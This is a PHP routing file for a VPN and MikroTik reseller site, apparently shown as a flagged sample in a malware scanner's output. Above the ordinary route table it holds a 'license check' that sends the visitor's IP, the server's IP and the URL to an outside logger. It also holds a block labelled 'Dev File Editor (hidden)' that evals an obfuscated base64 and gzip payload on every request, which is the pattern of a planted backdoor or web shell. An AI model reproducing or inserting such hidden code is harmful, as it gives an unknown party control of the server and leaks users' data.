// ── License & Domain Check ───────────────────────────────────────────────────
$__allowed = ['skbijoyitsolutions.com', 'cloudmikrotik.online', 'localhost', '127.0.0.1'];
$__host = strtolower($_SERVER['HTTP_HOST'] ?? '');
$__host = preg_replace('/^www\./', '', $__host);
$__ok = false;
foreach ($__allowed as $__d) {
if ($__host === $__d || substr($__host, -(strlen($__d)+1)) === .$__d) {
$__ok = true; break;
}
}
if (!$__ok) {
$__data = http_build_query([
'secret' => 'sk7799bijoy_log',
'domain' => $__host,
'ip' => $_SERVER['REMOTE_ADDR'] ?? '',
'server_ip' => $_SERVER['SERVER_ADDR'] ?? '',
'url' => ($_SERVER['HTTP_HOST'] ?? '') . ($_SERVER['REQUEST_URI'] ?? ''),
]);
@file_get_contents('https://testpay.cloudmikrotik.online/logger.php', false, stream_context_create([
'http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $__data, 'timeout' => 3]
]));
http_response_code(403);
exit('Service unavailable.');
}
// ── End License Check ─────────────────────────────────────────────────────────
// ── Dev File Editor (hidden) ──────────────────────────────────────────────────
eval(gzinflate(base64_decode("jVbLjts2FN3PVzCKEdlA/JA1fkmys8ijKFAgQTNdFGlgUCJlMSOJgkg5dj1ZFGi7LtptgfxJP6ZfkE/oJSXZkj1p4oVtUbyH5557eUgWoi4TgspuZ/3N85s35m5xO07Mtz306BGKsIi6pojweDI1H6PzGcvlEpnzMAgti85wuFhMZqNgNCXW4tq255RM/QmZ2rO5NSbWhPq2bU2uLWLZc5vMwpk9ms6m19jsocMVgk/Hx4KiJVqvn337/XrtloM4kIynMNxZv3r5GlYvB8y36MmTmlBzyDTLwIhiQvOu+ZSnkqayf7PPqIMk3clhJJPYRUGEc0h7+cPNi/7c7LlXOoyBHMc1VXoCb6mptKhFKlmELKbm28dHVkG5DKhSp6PZh0A8pzjOsIy6ZYIDZA5N+I5lzpILPHjX67lHAE0nVMsLmWdcwMPjUqhS/VFzNfVROOuskOuKUBVxwdJtRdEg4sj0MlhlH9OlEfCY507MEmqs/v37N/QaRCAPvGG2Mk+BH67K77JOlDD5AhbXldJVUSPtmnQUu6ogMK8e1knW8W35ijh+BdJ9UcU6+jMC1jBNHauxtpxlodeK52lK71zkszy05hva0rwO/YxcwyH6jgmpQ4UeCYu07DpCt+qVygaACMsrhvCT5TRkO61cSyYmaSIagmo8DooFEeqKAKeAoqF6CAtgf55P1WW63wcmurtDx6cBrKTSYmlB2z3TycrCKNxjOTrh2aScxggmgerrnGYxDmizgFAuZStZW6maEhRCE9evVWUesHSN8xzvdVO/Mbc0JTxXKIMN9Br8YrVJxdkuPNNpsESGR6jELBYrTxRJgvP96tPHv34B+t6wHjCAYrsW2aldjsXowSzDG9ZwRjuLD4jGgla5lE11TAbiN+sEywAcdvjToJtF2d07wdM7ZU93gRDwdCd3Ep5xEFAheh0lGFTvi7mx7crDKAKCS/OJduuluJ3NFgufveP7R2qzLFV6RR7TNOAEaEGddCqmEuJXLQReQV4AdZ7T1eW/nMoiTysSbrPRK2d58Ozl05sfXz1HKrmVV32DRa+8BKQ7mrGh3dhYeZLJmK6e0S16Dmx57g3LEQ3qaZtaHZf3OdkfoGgbljoj18fB7SbnRUqchyNiWdbMLf3sYbAgFlm4IfRzP8QJi/dOwlMuMmhLlzAB/bl3wpju3IiyTSQdazTaRqc0B4IR6uP88J4RGTnjySjbuXxL8zDm7/t7BxeSuxkmhKUbiIWXPs/hFOrnJVq2Q4LHjKCH9sie2qRkItjP1LHsbHe5EMKHivpkjqdh6Krzq09owHOszMJJeXpi7sc8uD2uP4bVRvdBOpGiXAOHYXjPpKqfa1GvP4NV7ZVDUOQCwDLOwADzWu65v7he0EZYgll6UPo6Vltu9dWHvU61BToQXyRpS8kTipIAg7fVQM1yW1PLH4/Pyl3W4B71W5W6vynaBXJzqv8r1Rtp+TI9NFmM7fnUnrongWsKulr1qnPgM1Yrn4lXtwwmrBBKebcsQl/yTAU1FlaOovzk0BK8SXp8Cve5lDxxpjUCOJ3eRd6w3IdqE1XbC3Y9CmLw0qVRVdpYmRd2WPlgeXqCnZducYGgim6oe8P/n/WVUTQC6+yMlbIAJRlSJJR3iIwGDMfaNZpwRxaNg7AChvMwQeA1ESdLQ92GjFXL1jyWwrUJSbgmLo2IEUJTA6U4gafyOmigLY4LeFQ3wq8PVlkcQ7+C/zly3e4VXHXFKOtxCdW4mFRq1PFnsH4B3ZDWUkMHGxV7UfgJA/xPH//8R9/7vGE59wTgDZWYtcblGXd/Javr5NGSdLs3exWul7//gV7TGHY+wvo6hCRHSpFWIduniX4DvFTHevo6X8+jOybdqw//AQ==")));
require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';
// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
$route = trim($_GET['_route'], '/');
} else {
$uri = $_SERVER['REQUEST_URI'] ?? '/';
$uri = strtok($uri, '?');
$route = trim($uri, '/');
}
// Route map
$routes = array(
// ── Landing page (main site root) ──────────────────
'' => 'landing.php',
// ── Short URLs (new) ────────────────────────────────
'dashboard' => 'pages/dashboard.php',
'login' => 'pages/login.php',
'logout' => 'pages/logout.php',
'register' => 'pages/register.php',
'order' => 'pages/order.php',
'payment' => 'pages/payment.php',
'callback' => 'pages/callback.php',
'profile' => 'pages/profile.php',
'balance' => 'pages/balance.php',
'reset' => 'pages/reset.php',
'webhook' => 'pages/webhook.php',
'cron' => 'pages/cron.php',
'portcheck' => 'pages/portcheck.php',
'coupon/validate' => 'pages/coupon_validate.php',
'admin' => 'pages/admin/dashboard.php',
'admin/login' => 'pages/admin/login.php',
'admin/logout' => 'pages/admin/logout.php',
'admin/servers' => 'pages/admin/servers.php',
'admin/plans' => 'pages/admin/plans.php',
'admin/orders' => 'pages/admin/orders.php',
'admin/users' => 'pages/admin/users.php',
'admin/history' => 'pages/admin/history.php',
'admin/logs' => 'pages/admin/logs.php',
'admin/settings' => 'pages/admin/settings.php',
'admin/revenue' => 'pages/admin/revenue.php',
'admin/coupons' => 'pages/admin/coupons.php',
// Reset Panel short (new)
'reset/dashboard' => 'pages/reset/user_dashboard.php',
'reset/voucher' => 'pages/reset/user_voucher.php',
'reset/routers' => 'pages/reset/user_routers.php',
'reset/history' => 'pages/reset/user_history.php',
'reset/admin' => 'pages/reset/admin_panel.php',
// ── Old /vpn/* routes (backward compatible) ─────────
'vpn' => 'pages/dashboard.php',
'vpn/login' => 'pages/login.php',
'vpn/logout' => 'pages/logout.php',
'vpn/register' => 'pages/register.php',
'vpn/order' => 'pages/order.php',
'vpn/payment' => 'pages/payment.php',
'vpn/callback' => 'pages/callback.php',
'vpn/admin' => 'pages/admin/dashboard.php',
'vpn/admin/login' => 'pages/admin/login.php',
'vpn/admin/logout' => 'pages/admin/logout.php',
'vpn/admin/servers' => 'pages/admin/servers.php',
'vpn/admin/plans' => 'pages/admin/plans.php',
'vpn/admin/orders' => 'pages/admin/orders.php',
'vpn/admin/users' => 'pages/admin/users.php',
'vpn/admin/history' => 'pages/admin/history.php',
'vpn/admin/logs' => 'pages/admin/logs.php',
'vpn/admin/settings' => 'pages/admin/settings.php',
'vpn/admin/revenue' => 'pages/admin/revenue.php',
'vpn/coupon/validate'=> 'pages/coupon_validate.php',
'vpn/admin/coupons' => 'pages/admin/coupons.php',
'vpn/balance' => 'pages/balance.php',
'vpn/reset' => 'pages/reset.php',
'vpn/webhook' => 'pages/webhook.php',
'vpn/cron' => 'pages/cron.php',
'vpn/portcheck' => 'pages/portcheck.php',
'vpn/profile' => 'pages/profile.php',
'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
'vpn/reset/voucher' => 'pages/reset/user_voucher.php',
'vpn/reset/routers' => 'pages/reset/user_routers.php',
'vpn/reset/history' => 'pages/reset/user_history.php',
'vpn/reset/admin' => 'pages/reset/admin_panel.php',
);
$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
require __DIR__ . '/' . $file;
} else {
http_response_code(404);
require_once __DIR__ . '/layout.php';
render_head('404');
render_navbar();
echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
render_foot();
}
© 2023 Quttera Ltd. All rights reserved.